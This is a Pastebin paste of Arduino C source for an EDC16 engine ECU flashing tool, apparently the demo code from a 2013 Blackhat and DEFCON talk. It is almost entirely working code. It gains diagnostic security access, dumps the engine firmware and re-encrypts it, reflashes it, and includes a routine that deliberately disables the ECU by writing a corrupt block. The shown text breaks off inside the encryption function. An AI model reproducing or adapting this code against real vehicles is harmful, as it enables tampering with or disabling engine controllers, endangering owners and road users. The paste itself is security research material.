API tools faq
paste
Advertisement
Guest User

Blackhat Arsenal + Defcon 2013 ECU tool Arduino DEMO code

a guest
Aug 5th, 2013
1,056
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 36.35 KB | None | 0 0
raw download clone embed print report
  1. /*
  2. EDC16 Demo code, for the tool used in the "Dude, WTF in my car" presentation
  3. It can read/write flash on these ECUS and read their info.
  4. Supports EDC16U31/34
  5.  
  6. This is the code for the DEMO presented on Blackhat Arsenal USA 2013 and DEFCON 21
  7.  
  8. The dump from the ECU will be named EDC16RD.SKF, and it is a plain binary (512kB).
  9.  
  10. The encrypted files will be called EDC16RD.CR1 and EDC16RD.CR2 as every encrypted block must be 256kB.
  11.  
  12. The only hardware required for this demo to work is a k-line level shifter (MC33290 for example) and a 510ohm resistor connected between
  13. 12V and the K-Line (pins 1 and 4 of the MC33290, but different for other level shifters).
  14.  
  15. The pinout between the arduino and the MC33290 is as follows:
  16.  
  17. MC33290**********Arduino Mega 2560
  18. 5(TX)----------------16(TX2)
  19. 6(RX)----------------17(RX2)
  20. 7+8(VDD+CEN)---------+5V
  21. 3(GND)---------------GND
  22.  
  23. Pin 4 of the MC33290 goes to the K-Line of the ECU, and pin 1 to +12V from
  24. the OBD2 connector (or external power source).
  25.  
  26. The pinout for the ECU is extremely easy to find on google.
  27.  
  28. We only need +12V (two pins), GND, and K-line.
  29.  
  30. */
  31.  
  32. /*Notes:
  33. This version of the software will read and write the flash of an EDC16U31/34 (Without flash counter limit).
  34.  
  35. It is a proof of concept code, and NOT to be used for normally flashing ECU's (you are warned!), but for
  36. understanding (and eventually testing if you are brave!).
  37.  
  38. It does not bypass the immo, so for bench flashing test you will need to wait for the full release, or
  39. have a immo disabled ECU. Otherwise, you will only be able to read the flash,
  40. but not to write it.
  41.  
  42. I will release a bugless (hopefully) version that will have all menus and functions implemented, and
  43. that will work with the portable version of the device, so please be patient!
  44.  
  45. Some variables and functions are from the definitive code, even though they are not used in the demo code.
  46. I am that lazy to clean them up, yes :P
  47.  
  48. This code will run on an Arduino Mega 2560 with an ethernet shield (with SD), and the MC33290 connected on USART2.
  49. It is exactly the one that was shown in the demo.
  50.  
  51. Shall you have any doubts, contact me at [email protected]
  52. */
  53.  
  54.  
  55.  
  56. //*Trick to save RAM*////
  57. #define flp(string) flashprint(PSTR(string));
  58.  
  59.  
  60. byte FlashType;
  61. /*This determines the type of flash as follows:
  62. type 0=29BL802CB is for ecu type 0
  63. type 1=M58BW016xB is for ecu type 1 and 2
  64. */
  65.  
  66. //This is for the menus:
  67. byte optionset=0;
  68.  
  69.  
  70. /*SD stuff
  71.  * SD card attached to SPI bus as follows:
  72.  ** MOSI - pin 11
  73.  ** MISO - pin 12
  74.  ** CLK - pin 13
  75.  ** CS - pin 10
  76.  */
  77. byte SDbuffer[258];//General purpose buffer
  78. word SDcounter=0;//counter to know how many bytes will be written to the SD
  79. #include <SdFat.h>
  80. #include <SdFatUtil.h>
  81. SdFat SD;
  82. Sd2Card card;
  83. SdVolume volume;
  84. const uint8_t SD_CHIP_SELECT = 4;
  85. SdFile myFile;
  86. SdFile myFile2;
  87. // store error strings in flash to save RAM
  88. #define error(s) error_P(PSTR(s))
  89.  
  90.  
  91.  
  92. boolean fail=0;//Used to determine wether a proccess has failed, and therefor, return to main menu
  93. #define K_IN    17 //RX2
  94. #define K_OUT   16 //TX2
  95. #define ISORequestByteDelay 7 //Used to determine
  96. byte b=0;//Buffer to hold the incoming byte and other operations
  97. boolean EDC16ReadDone;//Determines whether the flash has been read or not.
  98. long setspeed=10400; //Determines the connection speed
  99. boolean success=0;
  100. byte iscrc=0;//Determines if the byte received is the CRC of a string
  101. byte EcuType;//determines which ecu is connected
  102. word checksum1=0;//Checksum for the first writing block
  103. word checksum2=0;//And for the second one
  104. byte kill=0;//Determines if we are going to kill the ECU
  105. //*****************************These bytes represent the replies that the ECU gives during common parts********************************
  106. //EDC16 stuff
  107. const char EDC16_ECUBytes[] PROGMEM = { //Commonstart
  108. 0x83,0xF1,0x10,0xC1,0xEF,0x8F
  109. };
  110.  
  111. const char Req250k_ECUBytes[] PROGMEM = {
  112. 0x83,0xF1,0x10,0x50,0x86,0xA7,//OK TO 250KBPS
  113. };
  114.  
  115.  
  116. const char M58BW016xB_Read_ECUBytes[] PROGMEM = {
  117. 0x82,0xF1,0x10,0x75,0xFF//READY TO SEND
  118. };
  119.  
  120. const char M58BW016xB_WriteAck_ECUBytes[] PROGMEM = {
  121. 0x82,0xF1,0x10,0x74,0xFD//Write accepted
  122. };
  123.  
  124. const char M58BW016xB_AddrAck_ECUBytes[] PROGMEM = {
  125. 0x82,0xF1,0x10,0x71,0xC4//Address accepted
  126. };
  127.  
  128. const char Lvl3Sec_ECUBytes[] PROGMEM = {//Answer to correct LVL3 security access
  129. 0x83,0xF1,0x10,0x67,0x04,0x34
  130. };
  131.  
  132. const char Lvl1Sec_ECUBytes[] PROGMEM = {//Answer to correct LVL1 security access
  133. 0x83,0xF1,0x10,0x67,0x02,0x34
  134. };
  135.  
  136. //********************************These bytes represent the replies that Arduino gives during common processes
  137.  
  138.  
  139. //EDC16 stuff
  140. const char EDC16ArduBytes[] PROGMEM = { //Commonstart
  141. 0x81,0x10,0xF1,0x81
  142. };
  143.  
  144. const char EDC16Info_ArduBytes[] PROGMEM = { //Request for info
  145. 0x82,0x10,0xF1,0x1A,0x80
  146. };
  147.  
  148. const char Req250k_ArduBytes[] PROGMEM = {
  149. 0x83,0x10,0xF1,0x10,0x86,0xA7//REQUEST FOR 250KBPS (A7)
  150. };
  151.  
  152. const char Req124k_ArduBytes[] PROGMEM = {
  153. 0x83,0x10,0xF1,0x10,0x85,0x87//REQUEST FOR 124KBPS (87)
  154. };
  155.  
  156. const char M58BW016xB_Read_ArduBytes[] PROGMEM = {//ADDRESSING FOR THIS FLASH
  157. 0x88,0x10,0xF1,0x35,0x18,0x00,0x00,0x00,0x08,0x00,0x00
  158. };
  159.  
  160.  
  161. const char Lvl3Sec_ArduBytes[] PROGMEM = {//Request for LVL3 security access (Flash read)
  162. 0x82,0x10,0xF1,0x27,0x03
  163. };
  164.  
  165. const char Lvl1Sec_ArduBytes[] PROGMEM = {//Request for LVL1 security access (Flash write)
  166. 0x82,0x10,0xF1,0x27,0x01
  167. };
  168.  
  169. const char EDC16Erase_ArduBytes[] PROGMEM = { //Check if erase is complete
  170. 0x82,0x10,0xF1,0x33,0xC4
  171. };
  172. //*******************************Main software**************************
  173.  
  174.  
  175.  
  176.  
  177.  
  178. void setup()                    
  179. {
  180.   Serial.begin(115200);
  181.   pinMode(4, OUTPUT);//CS for SD on ethernet shield
  182.   pinMode(K_OUT, OUTPUT);//We set the pins to the proper condition for the bitbang
  183.   pinMode(K_IN, INPUT);
  184.   digitalWrite(K_OUT, HIGH);
  185.   Serial.println();
  186.   Serial.println();
  187.   flp("EDC16 ECU tool HW V0.1 FW R0.2D");
  188.   Serial.println();
  189.   Serial.println();
  190.   delay(2000);
  191.   flp("Checking SD...");
  192.   //SD card INIT
  193.   if (!SD.begin(SD_CHIP_SELECT, SPI_HALF_SPEED))
  194.   {
  195.     flp("SD Error...");//If we cannot access the SD, print out an error
  196.     fail=1;
  197.     while (fail){}
  198.   }
  199.   flp("Done!");
  200.     Serial.println();
  201.   flp("********************************************");
  202.   Serial.println();
  203.   Serial.println();
  204.   delay(1000);
  205.   EcuType=1;
  206.   FlashType=1;      
  207. }
  208.  
  209.  
  210.  
  211. void loop()//Now that we know with which ECU we will work, we show the action menu
  212. {
  213.   VariablesInit();
  214.   flp("EDC16 tool demo");
  215.   Serial.println();
  216.   Serial.println();
  217.   flp("Press any key to begin");
  218.   Serial.println();
  219.   flp("********************************************");
  220.   Serial.println();
  221.   CheckButtonPressed();//Waits for user input on the serial console to start
  222.    info();//reads the ECU info
  223.    Serial.println();
  224.   flp("********************************************");
  225.   Serial.println();
  226.    readext();//Reads the external flash
  227.    Serial.println();
  228.   flp("********************************************");
  229.   Serial.println();
  230.    KillECU();//Disables the ECU
  231.    Serial.println();
  232.   flp("********************************************");
  233.   Serial.println();
  234.    info();//We try to read the info to see that it is really dead
  235.    Serial.println();
  236.   flp("********************************************");
  237.   Serial.println();
  238.    revive();//Writes the external flash and makes the ECU work again
  239.    Serial.println();
  240.   flp("********************************************");
  241.   Serial.println();
  242.    info();//And we read the info again to check that it is working!
  243.    Serial.println();
  244.   flp("********************************************");
  245.   Serial.println();
  246.    flp("  Done with demo!   ");
  247.    Serial.println();
  248.    flp("  Press any key  ");    
  249.   CheckButtonPressed();  
  250.   Serial.println();
  251.    Serial.println();
  252.   flp("********************************************");
  253.   Serial.println();
  254.   Serial.println();
  255. }
  256.  
  257. void revive()
  258. {
  259.   VariablesInit();
  260.    flp("Will reactivate ECU");
  261.    Serial.println();
  262.    flp("Press any key");
  263.    Serial.println();
  264.    Serial.println();
  265.    CheckButtonPressed();
  266.    delay(2000);
  267.    SelectWrite();
  268.    Serial.println();
  269.    flp("Power cycle ECU!");
  270.    Serial.println();
  271.    flp("Press any button");
  272.    Serial.println();
  273.    CheckButtonPressed();
  274. }
  275.  
  276. void info()
  277. {
  278.    VariablesInit();
  279.    flp("Will read info...");
  280.    Serial.println();
  281.    flp("Press any key");
  282.    Serial.println();
  283.    Serial.println();
  284.    CheckButtonPressed();
  285.    SelectInfo();
  286. }
  287.  
  288.  
  289.  
  290. void KillECU()
  291. {
  292.   VariablesInit();
  293.   flp("Will now disable ECU");
  294.   Serial.println();
  295.   flp("Press any key");
  296.   Serial.println();
  297.   Serial.println();
  298.   CheckButtonPressed();
  299.   kill=1;
  300.   SelectWrite(); // We will write just a little part of the flash to have a wrong CRC
  301.   Serial.println();
  302.   flp("Power cycle ECU!");
  303.   Serial.println();
  304.   flp("Press any key");
  305.   Serial.println();
  306.   CheckButtonPressed();
  307. }
  308.  
  309. void readext()
  310. {
  311.   VariablesInit();
  312.    flp("Will read ext.flash");
  313.    Serial.println();
  314.    flp("Press any key");
  315.    Serial.println();
  316.    Serial.println();
  317.    CheckButtonPressed();
  318.    SelectRead(0);
  319.    Serial.println();
  320.    flp("Remove SD to inspect dump and insert it back");
  321.    Serial.println();
  322.    flp("Press any key");
  323.    Serial.println();
  324.    CheckButtonPressed();
  325.    if (!SD.begin(SD_CHIP_SELECT, SPI_HALF_SPEED))
  326.     {
  327.     flp("SD Error...");
  328.     Serial.println();
  329.     fail=1;
  330.     while (fail){}
  331.     }
  332. }
  333.  
  334. /***********************************Here goes all the operation routines for the menu actions***************/
  335. //***************Read info operations**************//
  336.  
  337. void SelectInfo()
  338. {
  339.   if (!EDC16CommonStart())//We wake up the ECU
  340.   {
  341.     return;
  342.   }
  343.   if (!LVL3Key())//We auth with LVL3 sec
  344.   {
  345.     return;
  346.   }
  347.   DisplayInfo();//We request and parse the info
  348. }
  349.  
  350. void DisplayInfo()//Reads and parses the data from the ECU
  351. {
  352.   iso_sendstring(5,6);
  353.   while (Serial2.available()<1)
  354.   {
  355.   }
  356.   iso_read_byte();
  357.   if (b==0x83)
  358.   {
  359.     delay(1);
  360.      while (Serial2.available()>0)
  361.      {
  362.        iso_read_byte();
  363.        delay(1);
  364.      }
  365.     while (Serial2.available()<1)
  366.   {
  367.   }
  368.   iso_read_byte();
  369.   }
  370.  
  371.   SDbuffer[0]=b;
  372.   int crap=1;
  373.   delay(1);
  374.   while (Serial2.available()>0)
  375.   {
  376.   iso_read_byte();
  377.   SDbuffer[crap]=b;
  378.   crap++;
  379.   delay(1);
  380.   }
  381.   CloseEDC16Ecu();
  382.   //32-33 and 35-36 are the sw date
  383.   //79-95 are the VIN
  384.   //131-142 are the SW version
  385.   //144-147 are the SW revision
  386.   //158-168 is the engine type
  387.     flp("SW: ");//Print ECU version
  388.     for (byte crap=87;crap<98;crap++)
  389.     {
  390.       char asciiconvert= SDbuffer[crap];
  391.       Serial.print(asciiconvert);
  392.     }
  393.     Serial.println();
  394.     flp("Engine: ");
  395.     for (byte crap=147;crap<158;crap++)
  396.     {
  397.       char asciiconvert= SDbuffer[crap];
  398.       Serial.print(asciiconvert);
  399.     }
  400.     Serial.println();
  401.     flp("VIN: ");
  402.    for (byte crap=73;crap<84;crap++)
  403.     {
  404.       char asciiconvert= SDbuffer[crap];
  405.       Serial.print(asciiconvert);
  406.     }
  407.     Serial.println();
  408.     flp("ECU SW date: ");
  409.     for (byte crap=32;crap<37;crap++)
  410.     {
  411.       char asciiconvert= SDbuffer[crap];
  412.       Serial.print(asciiconvert);
  413.     }
  414.     Serial.println();
  415.     Serial.println();
  416.     flp("Press any key to continue");
  417.     CheckButtonPressed();
  418.  
  419. }
  420. //*************Flash operations***************/
  421.  
  422.  
  423. void SelectRead(byte op)//Reads the flash
  424. {
  425.   boolean check=EDC16CommonStart();
  426.   if (!check)
  427.   {
  428.     return;
  429.   }
  430.   check=LVL3Key();
  431.   if (!check)
  432.   {
  433.     return;
  434.   }
  435.   EDC16ReadStart(op);
  436.   ReadEDC16Flash(op);
  437.   delay(1000);    
  438. }
  439.  
  440. void SelectWrite()//Writes the flash
  441. {
  442.   PrepareFile();
  443.   if (!SlowInit())
  444.   {
  445.     flp("No response!");
  446.     Serial.println();
  447.     delay(2000);
  448.     return;
  449.   }
  450.   if (!LVL1Key())
  451.   {
  452.     return;
  453.   }
  454.   SetSpeed();
  455.   if (kill==0)
  456.   {
  457.   flp("Will Write 2 blocks");
  458.   Serial.println();
  459.   flp("Block 1...");
  460.   EDC16WriteBlock("EDC16RD.CR2",7,1,1);//we write block 7 (0x1C0000-0x1FFFFF)
  461.   Serial.println();
  462.   flp("Block 2...");
  463.   EDC16WriteBlock("EDC16RD.CR1",6,2,2);//then block 6 (0x180000-0x1BFFFF)
  464.   Serial.println();
  465.   flp("Done!");
  466.   Serial.println();
  467.   CloseEDC16Ecu();
  468.   delay(2000);
  469.   }  
  470.   if (kill==1)//If we wanna kill the ECU
  471.   {
  472.     flp("Deactivating ECU...");
  473.     EDC16WriteBlock("EDC16RD.CR2",7,1,1);
  474.     flp("Done!");
  475.     Serial.println();
  476.     delay(2000);
  477.   }
  478. }
  479.  
  480. void EDC16WriteBlock(char filename[],byte blockno,byte pos,byte crc)
  481. {
  482.  //We send the block start and size to be written
  483.  if (!myFile.open(filename, O_READ))
  484.      {//We do it the fast way
  485.       // if the file didn't open, print an error:
  486.       flp("SD card error: Missing ");
  487.       Serial.println(filename);
  488.       return;
  489.     }
  490.  SendAddress(blockno);
  491.  //We send the erase command
  492.  SendErase(blockno);
  493.  while (!CheckErase())//wait until flash is erased...
  494.  {
  495.    delay(100);
  496.  }
  497.  WriteEDC16FlashBlock(blockno,filename,pos);
  498.  myFile.close();
  499.  if (kill==1)//if we want to kill the ECU, we dont need to send checksum, right? :D
  500.  {
  501.    return;
  502.  }
  503.  FinishWrite(blockno, crc);
  504. }
  505.  
  506. void FinishWrite(byte blockno, byte crc) //CRC and other stuff that is done after writing to flash
  507. {
  508.   delay(75);
  509.   iso_write_byte(0x81);
  510.   iso_write_byte(0x10);
  511.   iso_write_byte(0xF1);
  512.   iso_write_byte(0x37);
  513.   iso_write_byte(0xB9);
  514.   while(Serial2.available()<1)
  515.   {}
  516.   CheckRec(0x81);
  517.   CheckRec(0xF1);
  518.   CheckRec(0x10);
  519.   CheckRec(0x77);
  520.   CheckRec(0xF9);
  521.   delay(75);
  522.   for (byte crap=0;crap<2;crap++)
  523.   {
  524.   iso_write_byte(0x81);
  525.   iso_write_byte(0x10);
  526.   iso_write_byte(0xF1);
  527.   iso_write_byte(0x3E);
  528.   iso_write_byte(0xC0);
  529.   CheckRec(0x81);
  530.   CheckRec(0xF1);
  531.   CheckRec(0x10);
  532.   CheckRec(0x7E);
  533.   CheckRec(0x00);
  534.   delay(75);
  535.   }
  536.  
  537.   SDbuffer[0]=0x8A;
  538.   SDbuffer[1]=0x10;
  539.   SDbuffer[2]=0xF1;
  540.   SDbuffer[3]=0x31;
  541.   SDbuffer[4]=0xC5;
  542.   SDbuffer[5]=blockno*4;
  543.   SDbuffer[6]=0x00;
  544.   SDbuffer[7]=0x00;
  545.   blockno++;
  546.   SDbuffer[8]=blockno*4;
  547.   SDbuffer[8]--;
  548.   if (blockno==8)//must be incremented by one
  549.   {
  550.   SDbuffer[9]=0xDF;
  551.   }
  552.   else
  553.   {
  554.     SDbuffer[9]=0xFF;
  555.   }
  556.   SDbuffer[10]=0xFF;
  557.   if (crc==1)
  558.   {
  559.     b=checksum1>>8;
  560.   }
  561.   if (crc==2)
  562.   {
  563.     b=checksum2>>8;
  564.   }
  565.   SDbuffer[11]=b;//These two bytes are the file checksum
  566.   if (crc==1)
  567.   {
  568.     b=checksum1;
  569.   }
  570.   if (crc==2)
  571.   {
  572.     b=checksum2;
  573.   }
  574.   SDbuffer[12]=b;
  575.   SDbuffer[13]=iso_checksum(SDbuffer,13);
  576.   delay(75);
  577.   WriteString(14);
  578.   CheckRec(0x82);
  579.   CheckRec(0xF1);
  580.   CheckRec(0x10);
  581.   CheckRec(0x71);
  582.   CheckRec(0xC5);
  583.   CheckRec(0xB9);
  584.   FinalCheck();
  585. }
  586.  
  587. void FinalCheck() //We make sure that the CRC was accepted
  588. {
  589.   delay(75);
  590.   boolean crap=0;
  591.   while (!crap)
  592.   {
  593.     iso_write_byte(0x82);
  594.     iso_write_byte(0x10);
  595.     iso_write_byte(0xF1);
  596.     iso_write_byte(0x33);
  597.     iso_write_byte(0xC5);
  598.     iso_write_byte(0x7B);
  599.     ReadString();
  600.     if (SDbuffer[3]!=0x7F)
  601.     {
  602.       crap=1;
  603.     }
  604.     delay(100);
  605.   }
  606.  
  607. }
  608.    
  609.  
  610.  
  611.  
  612. //Writes a block of data for a range of address
  613. void WriteEDC16FlashBlock(byte blockno, char filename[],byte pos)
  614. {
  615.   long BlockStart=0;
  616.   long BlockEnd;
  617.   if (blockno==7)
  618.   {
  619.    BlockEnd=0x3E000;
  620.   }
  621.   else
  622.   {
  623.     BlockEnd=0x40000;
  624.   }
  625.   blockno++;
  626.   byte before=0;
  627.   byte Writebyte[4];
  628.   Writebyte[0]=0x00;
  629.   Writebyte[2]=0x36;
  630.   while (BlockEnd>BlockStart)
  631.   {
  632.     //build the message to be sent
  633.     byte stringcount=0;
  634.     while (BlockEnd>BlockStart && stringcount <= 0xF8)
  635.     {
  636.      BlockStart++;
  637.      stringcount++;
  638.     }
  639.     myFile.read(SDbuffer,stringcount);
  640.     Writebyte[1]=stringcount+1;//set the header with the length
  641.     Writebyte[3]=iso_checksum(Writebyte,3);//calculate checksumm
  642.     Writebyte[3]=Writebyte[3]+iso_checksum(SDbuffer,stringcount);
  643.     //Thread composed, now need to send it
  644.  
  645.     for (byte sendcount=0; sendcount < 3; sendcount++)//send the header
  646.     {
  647.     iso_write_byte(Writebyte[sendcount]);
  648.     }
  649.    
  650.     for (byte sendcount=0; sendcount < stringcount; sendcount++)//send the data
  651.     {
  652.        iso_write_byte(SDbuffer[sendcount]);
  653.      }
  654.      iso_write_byte(Writebyte[3]);//send the checksumm
  655.      CheckAck();
  656.      if (kill==1) //If we want to kill the ECU, we dont keep on sending data, so we are done
  657.        {
  658.          myFile.close();
  659.          return;
  660.        }
  661.  
  662.        byte percent=(BlockStart*100)/BlockEnd; //We calculate the percent of data written and print it back
  663.        if (percent == before+10)
  664.        {
  665.          Serial.print(percent);
  666.          flp("%");
  667.          Serial.print("..");
  668.          before=percent;
  669.        }    
  670.   }
  671.  
  672. }
  673.  
  674.  
  675. boolean CheckErase() //Keeps on bugging the ECU until flash is erased
  676. {
  677.  iso_sendstring(5,8);
  678.  while (Serial2.available()<1)
  679.   {
  680.   }
  681.   byte crap=0;
  682.   delay(1);
  683.  while (Serial2.available()>0)
  684.    {
  685.      iso_read_byte();
  686.      SDbuffer[crap]=b;
  687.      crap++;
  688.      delay(1);
  689.     }
  690.   if (SDbuffer[3]==0x7F)
  691.    {
  692.     return 0;
  693.    }
  694.   else
  695.    {
  696.     return 1;
  697.    }
  698. }
  699.  
  700.  
  701. void EDC16ReadStart(byte op)
  702. {
  703.   delay(75);
  704.   SetSpeed();
  705.   delay(75);
  706.   if (FlashType==0)//Not yet implemented
  707.   {
  708.   }
  709.   if (FlashType==1)
  710.   {
  711.    if (op==0)
  712.    {
  713.     iso_sendstring(11,2);
  714.    }
  715.     iso_readstring(5,2);
  716.   }
  717. }
  718.  
  719.  
  720.  
  721. void ReadEDC16Flash(byte op)
  722. {
  723.   if (op==0)
  724.   {
  725.       if (myFile.open("edc16rd.skf", O_READ))//We make sure we delete any existing previous readout so we have a valid dump afterwards
  726.               {
  727.                 myFile.remove();
  728.                 myFile.close();
  729.                }
  730.     if (!myFile.open("EDC16RD.skf", O_CREAT | O_WRITE))//We create the file that will contain the dump
  731.      {//We do it the fast way
  732.       // if the file didn't open, print an error:
  733.       flp("SD card error");
  734.       Serial.println();
  735.       return;
  736.     }
  737.   }
  738.   delay(75);
  739.   flp("Reading Flash...");
  740.   byte before=0;
  741.   long start=0;
  742.   long End;
  743.  
  744.   if (op==0)
  745.   {
  746.   End=0x7FFFF;
  747.   }
  748.   while (!EDC16ReadDone)
  749.   {
  750.   EDC16ReadRequest();//To read the flash, we just send the address range, and the ECU will keep on sending data until it is done, so until then, we keep on sending requests
  751.   EDC16ReadString();
  752.   start=start+254;
  753.   byte percent=(start*100)/End;//We print the percent of dump done
  754.   if (percent == (before+10))
  755.   {
  756.    Serial.print(percent);
  757.    flp("%");
  758.    Serial.print("..");
  759.    before=percent;
  760.    }
  761.   }
  762.   flp("Done");
  763.   Serial.println();
  764.   myFile.close();//Close the file to save the dump!
  765.   CloseEDC16Ecu();//We need to close communications with ECU after we are done
  766.  
  767. }
  768.  
  769.  
  770. void EDC16ReadString()
  771. {
  772.   byte header[5];
  773.   CheckRec(0x80);//We store the header to be able to proccess the checksum later
  774.   header[0]=b;
  775.   CheckRec(0xF1);
  776.   header[1]=b;
  777.   CheckRec(0x10);
  778.   header[2]=b;
  779.   iso_read_byte();
  780.   header[3]=b;
  781.   if (b!=0xFF)//If the length of the packet is less than 0xFF...
  782.   {
  783.     EDC16ReadDone=1;//let the function know that it is the last packet that ECU will send over
  784.   }
  785.   CheckRec(0x76);
  786.   header[4]=b;
  787.   SDcounter=0;
  788.   while (SDcounter < (header[3]-1))
  789.   {
  790.     iso_read_byte();
  791.     SDbuffer[SDcounter]=b;
  792.     SDcounter++;
  793.   }
  794.  
  795.  
  796.  //Check that the checksum is correct
  797.   iso_read_byte();
  798.   byte checkCRC;
  799.   checkCRC=iso_checksum(SDbuffer,SDcounter);
  800.   checkCRC=checkCRC+iso_checksum(header,5);
  801.   if (checkCRC != b)//This is for debugging, but we need to add resend for wrong received packets!
  802.   {
  803.     flp("CRC error, got ");
  804.     Serial.println(b,HEX);
  805.     flp("Expected ");
  806.     Serial.println(checkCRC,HEX);
  807.     fail=1;
  808.     while(fail){}
  809.   }
  810.   myFile.write(SDbuffer, SDcounter);
  811. }
  812.  
  813.  
  814. void EDC16ReadRequest()//Sends a request for a flash data packet
  815. {
  816.   delay(15);
  817.   iso_write_byte(0x80);//Send the flash packet request
  818.   iso_write_byte(0x10);
  819.   iso_write_byte(0xF1);
  820.   iso_write_byte(0x01);
  821.   iso_write_byte(0x36);
  822.   iso_write_byte(0xB8);
  823. }
  824.  
  825. //*******************Memory addressing*************/
  826.  
  827. void SendAddress(byte blockno)// this function is checked
  828. {
  829.  SDbuffer[0]=0x88;
  830.  SDbuffer[1]=0x10;
  831.  SDbuffer[2]=0xF1;
  832.  SDbuffer[3]=0x34;//This is the address command
  833.  SDbuffer[4]=blockno*4;//Start address
  834.  SDbuffer[5]=0x00;
  835.  SDbuffer[6]=0x00;
  836.  SDbuffer[7]=0x02;
  837.  if (blockno==7)
  838.  {
  839.   SDbuffer[8]=0x03;//This indicates the length of the block that will be written (256kb)
  840.   SDbuffer[9]=0xE0;
  841.   SDbuffer[10]=0x00;
  842.  }
  843.  else
  844.  {
  845.  SDbuffer[8]=0x04;//This indicates the length of the block that will be written (256kb)
  846.  SDbuffer[9]=0x00;
  847.  SDbuffer[10]=0x00;
  848.  }
  849.  SDbuffer[11]=iso_checksum(SDbuffer,11);
  850.  delay(75);
  851.  WriteString(12);
  852.  iso_readstring(5,6);//check the ACK
  853. }
  854.  
  855.  
  856. void SendErase(byte blockno)//this function is confirmed
  857. {
  858.  SDbuffer[0]=0x8E;
  859.  SDbuffer[1]=0x10;
  860.  SDbuffer[2]=0xF1;
  861.  SDbuffer[3]=0x31;//This is the Erase command
  862.  SDbuffer[4]=0xC4;
  863.  SDbuffer[5]=blockno*4;
  864.  SDbuffer[6]=0x00;
  865.  SDbuffer[7]=0x00;
  866.  byte endblock=blockno+1;
  867.  SDbuffer[8]=endblock*4;
  868.  SDbuffer[8]--;
  869.  SDbuffer[9]=0xFF;
  870.  SDbuffer[10]=0xFF;
  871.  SDbuffer[11]=0x00;
  872.  SDbuffer[12]=0x00;
  873.  SDbuffer[13]=0x00;
  874.  SDbuffer[14]=0x00;
  875.  SDbuffer[15]=0x18;//these are static independent from the block length
  876.  SDbuffer[16]=0xB5;
  877.  SDbuffer[17]=iso_checksum(SDbuffer,17);
  878.  delay(75);
  879.  WriteString(18);
  880.  iso_readstring(5,7);//check the ACK
  881. }
  882.  
  883. /***************Speed handling************///
  884.  
  885.  
  886. void SetSpeed()
  887. {
  888.   if (!Set250kSpeed())//We will try to do the stuff fast, but if it fails, we will set a lower speed
  889.   {
  890.     Set124kSpeed();
  891.   }
  892. }
  893.  
  894. boolean Set124kSpeed()
  895. {
  896.   delay(75);
  897.   iso_sendstring(6,9);//change speed to 124kbps
  898.   ReadString();
  899.  
  900.   if (SDbuffer[3]==0x7F)
  901.   {
  902.     ReadString();  
  903.   }
  904.   delay(75);
  905.   setspeed=124800;
  906.   Serial2.begin(124800);
  907.   return 1;
  908. }
  909.  
  910.  
  911. boolean Set250kSpeed()
  912. {
  913.   delay(75);
  914.   iso_sendstring(6,3);//change speed to 250kbps
  915.   ReadString();
  916.   if (SDbuffer[3]==0x7F)
  917.   {
  918.     return 0;
  919.   }
  920.   delay(75);
  921.   setspeed=250000;
  922.   Serial2.begin(250000);
  923.   return 1;
  924. }
  925.  
  926.  
  927. /***************File handling operations**************/
  928.  
  929. void PrepareFile()
  930. {
  931.   flp("Process RSA...");
  932.   if (!myFile.open("EDC16RD.skf", O_READ)){//If there is no file to encrypt...
  933.     flp("Source file Error, please make sure there is a valid file inside the SD!");
  934.   }
  935.   if (myFile2.open("EDC16RD.CR2", O_READ))//We remove previous files if they are present, so we dont mess it up
  936.   {
  937.   myFile2.remove();
  938.   myFile2.close();
  939.   }
  940.   if (myFile2.open("EDC16RD.CR1", O_READ))
  941.   {
  942.   myFile2.remove();
  943.   myFile2.close();
  944.   }
  945.   //Encrypt first block
  946.   myFile2.open("EDC16RD.CR1", O_CREAT | O_WRITE);
  947.   checksum2=Encrypt(0x0000,0x40000);
  948.   //Encrypt second block
  949.   myFile2.open("EDC16RD.CR2", O_CREAT | O_WRITE);
  950.   checksum1=Encrypt(0x40000,0x7E000);
  951.   flp("Done!");
  952.   Serial.println();
  953.   delay(1000);
  954.   myFile.close();
  955.  }
  956.  
  957. word Encrypt(long start, long finish)//This is the function than encrypts the file to be sent to the ECU
  958. {
  959.   word checksum=0;
  960.   long EAX=0x10000;
  961.   long ECX=0x27C0020;
  962.   long EDX=0x3FE45D9A;
  963.   long EBX=0x0;
  964.   long ESP=0x12E794;
  965.   byte EBP=0x3;
  966.   long EDI=0x10000;
  967.   myFile.seekSet(start);
  968.   int counter=0;
  969.   byte buff[128];
  970.   byte buffcount=0;
  971.   while (start<finish)
  972.   {
  973.     EAX=EDX;
  974.     ECX=EDX;
  975.     EAX=EAX>>20;
  976.     EAX=EAX&0x400;
  977.     ECX=ECX&0x400;
  978.     EAX=EAX^ECX;
  979.     ECX=EDX;
  980.     ECX=ECX>>31;
  981.     EAX=EAX>>10;
  982.     ECX=ECX&0x01;
  983.     EBX=EDX;
  984.     EAX=EAX^ECX;
  985.     ECX=EDX;
  986.     EBX=EBX&0x01;
  987.     ECX=ECX>>1;
  988.     EBX=EBX^EAX;
  989.     if (EBX ==0)
  990.     {
  991.       EDI=EDI&0xFFFFFFFE;
  992.     }  
  993.     if (EBX !=0)
  994.     {
  995.       EDI=EDI|0x01;
  996.     }
  997.     EAX=0;
  998.     EDX=EDI;
  999.     EDX=EDX&0x01;
  1000.     EDX=EDX|EAX;
  1001.     if (EDX ==0)
  1002.     {
  1003.       ECX=ECX&0x7FFFFFFF;
  1004.     }
  1005.     if (EDX !=0)
  1006.     {
  1007.       ECX=ECX|0x80000000;
  1008.     }
  1009.     EBP--;
  1010.     EDX=ECX;
  1011.     if (EBP ==0)
  1012.     {
  1013.       if (buffcount==0)
  1014.       {
  1015.       myFile.read(buff,128);
  1016.       }
  1017.       EAX=buff[buffcount];
  1018.       checksum=checksum+EAX;
  1019.       buffcount++;
  1020.       byte a=EAX&0xFF;
  1021.       byte b=ECX&0xFF;
  1022.       a=a^b;
  1023.       SDbuffer[counter]=a;
  1024.       counter++;
  1025.       start++;
  1026.       byte c=buff[buffcount];
  1027.       checksum=checksum+c;
  1028.       buffcount++;
  1029.       EBX=EBX&0xFFFFFF00;
  1030.       EBX=EBX+c;
  1031.       EAX=ECX;
  1032.       EAX=EAX>>8;
  1033.       a=EAX&0xFF;
  1034.       b=EBX&0xFF;
  1035.       a=a^b;
  1036.       EBX=EBX&0xFFFFFF00;
  1037.       EBX=EBX+a;
  1038.       EAX=ECX;
  1039.       a=EBX&0xFF;
  1040.       SDbuffer[counter]=a;
  1041.       counter++;
  1042.       start++;
